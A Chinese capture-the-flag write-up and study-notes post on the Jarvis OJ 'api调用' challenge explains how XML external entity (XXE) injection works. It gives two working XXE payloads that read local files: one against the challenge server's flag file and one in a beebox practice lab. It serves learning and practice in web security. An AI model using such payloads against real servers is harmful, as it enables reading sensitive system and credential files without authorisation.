[Jarvis OJ]–api调用–XXE漏洞学习笔记

题目地址:http://web.jarvisoj.com:9882/


查看网页源码:


可以看到我们点击go后,以json的形式发送了数据。抓包:


我们看到,其实我们输入的内容并没有发送到服务器,而是发送了几个特定的值。

这题的提示是查看flag文件,用到的是XXE漏洞,有几篇原理文章参考一下:

https://security.tencent.com/index.php/blog/msg/69

http://www.freebuf.com/articles/web/126788.html

http://www.mottoin.com/92794.html

XXE漏洞就是服务器接受从客户端发送来的xml格式数据时,xml数据中恶意的引用了外部实体,将它的值绑定为服务器的目标文件,这样在服务器返回给我们解析后的值时,就会把目标文件的内容返回给我们,我们就读取了敏感文件。

但是这道题目,默认的是json格式传递,因此首先我们更改Content-Type的值为application/xml,然后传入xml代码:

<?xml version=”1.0″?>
<!DOCTYPE abcd[
<!ENTITY any SYSTEM “file:///home/ctf/flag.txt”>]>

<something>&any;</something>


得到flag

为了进一步理解xxe漏洞的使用,我有在beebox测试环境中进行了测试,我在文件/home/bee/ctf/falg.txt中写入了hellowbabyclark,现在的目标是读取到这个文件的内容,打开xxe漏洞测试的首页:



点击按钮抓包:

可以看出是服务器对<reset><login>的位置的内容解析后返还给浏览器显示,所以我们只要在这个位置写入外部实体引用即可:

<?xml version=”1.0″?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM “file:///home/bee/ctf/flag.txt”>
]>

<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>


Got it!

 

大概就先学习这么多吧,写到这道xxe漏洞的题目时,微信的XXE漏洞刚刚被报出来,有兴趣的可以看下,xxe部分基本就是这个原理。

后天考数据结构,最后一门啦!!!

 

文章同步到我的博客: http://www.zjzhhb.com/archives/454

转载指明出处


猜你喜欢

转载自blog.csdn.net/zpy1998zpy/article/details/80918975
今日推荐